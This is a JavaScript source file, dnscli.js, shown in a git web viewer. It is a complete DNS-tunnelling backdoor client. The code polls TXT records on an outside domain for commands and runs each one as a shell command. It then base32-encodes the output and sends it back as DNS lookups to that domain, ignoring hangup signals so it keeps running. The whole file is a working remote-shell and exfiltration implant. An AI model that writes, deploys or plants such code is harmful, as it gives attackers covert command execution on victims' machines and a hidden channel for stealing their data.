summaryrefslogtreecommitdiff
path: root/dnscli.js
blob: befb9d63ea553e5b90e583f7dd72158fa0806dd1 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
const DOMAIN = 'zcz.cflems.org';
const MAX_CHUNK_SIZE = 35;
const MAX_ENCODED_SIZE = 63;
const MAX_TOTAL_SIZE = 255 - DOMAIN.length;
const MAX_CHUNKS = Math.floor(MAX_TOTAL_SIZE / MAX_ENCODED_SIZE);
const NOP_SLEEP_TIME = 1;

const dns = require('dns');
const cp = require('child_process');

process.on('SIGHUP', function() {});

function sleep(sec) {
  return new Promise(function(resolve) {
    setTimeout(resolve, 1000*sec);
  });
}

function getDNSText(dest) {
  return new Promise(function(resolve, reject) {
    dns.resolveTxt(dest, function(err, records) {
      if (err) reject(err);
      else resolve(records);
    });
  });
}

function system(cmd) {
  return new Promise(function(resolve, reject) {
    cp.exec(cmd, function (err, stdout, stderr) {
      if (err) reject(err);
      else resolve({stdout, stderr});
    });
  });
}

async function eventLoop() {
  while (true) {
    try {
      await event();
    } catch (e) {
      await sleep(NOP_SLEEP_TIME);
    }
  }
}

async function event() {
  const records = await getDNSText('asuh.' + DOMAIN);
  if (!records[0] || !records[0][0] || records[0][0] == 'nop') {
    await sleep(NOP_SLEEP_TIME);
    return;
  }

  for (const record of records) {
    const rtxt = record.join('');
    let {stdout, stderr} = await system(rtxt);
    let packets = [];
    stdout = stdout.trim();
    stderr = stderr.trim();

    if (stdout.length > 0) {
      for (let line of stdout.split('\n')) {
        packets = packets.concat(encode(line));
      }
    }
    if (stderr.length > 0) {
      for (line of stderr.split('\n')) {
        packets = packets.concat(encode(line));
      }
    }
    packets = packets.concat(encode('\xde\xadDONE'));

    for (const packet of packets) {
      await getDNSText(packet + DOMAIN);
    }
  }
}

function encode(s) {
  const packets = [];
  let parcel = '';

  while (s.length > 0) {
    const chunk = b32(s.substr(0, MAX_CHUNK_SIZE));
    if (parcel.length + chunk.length + 1 > MAX_TOTAL_SIZE) {
      packets.push(parcel);
      parcel = '';
    }
    parcel = chunk + '.' + parcel;
    s = s.substr(MAX_CHUNK_SIZE);
  }
  if (parcel.length > 0) packets.push(parcel);

  return packets;
}

function b32(s) {
  const a = 'abcdefghijklmnopqrstuvwxy1234567';
  const pad = 'z';
  const len = s.length;
  let o = '';
  let w, c, r=0, sh=0;
  for(let i=0; i<len; i+=5) {
    c = s.charCodeAt(i);
    w = 0xf8 & c;
    o += a.charAt(w>>3);
    r = 0x07 & c;
    sh = 2;

    if ((i+1)<len) {
      c = s.charCodeAt(i+1);
      w = 0xc0 & c;
      o += a.charAt((r<<2) + (w>>6));
      o += a.charAt( (0x3e & c) >> 1 );
      r = c & 0x01;
      sh = 4;
    }

    if ((i+2)<len) {
      c = s.charCodeAt(i+2);
      w = 0xf0 & c;
      o += a.charAt((r<<4) + (w>>4));
      r = 0x0f & c;
      sh = 1;
    }

    if ((i+3)<len) {
      c = s.charCodeAt(i+3);
      w = 0x80 & c;
      o += a.charAt((r<<1) + (w>>7));
      o += a.charAt((0x7c & c) >> 2);
      r = 0x03 & c;
      sh = 3;
    }

    if ((i+4)<len) {
      c = s.charCodeAt(i+4);
      w = 0xe0 & c;
      o += a.charAt((r<<3) + (w>>5));
      o += a.charAt(0x1f & c);
      r = 0;
      sh = 0;
    }
  }

  if (sh != 0) { o += a.charAt(r<<sh); }

  const padlen = 8 - (o.length % 8);

  if (padlen==8) { return o; }
  if (padlen==1) { return o + pad; }
  if (padlen==3) { return o + pad + pad + pad; }
  if (padlen==4) { return o + pad + pad + pad + pad; }
  if (padlen==6) { return o + pad + pad + pad + pad + pad + pad; }
  return false;
}

eventLoop();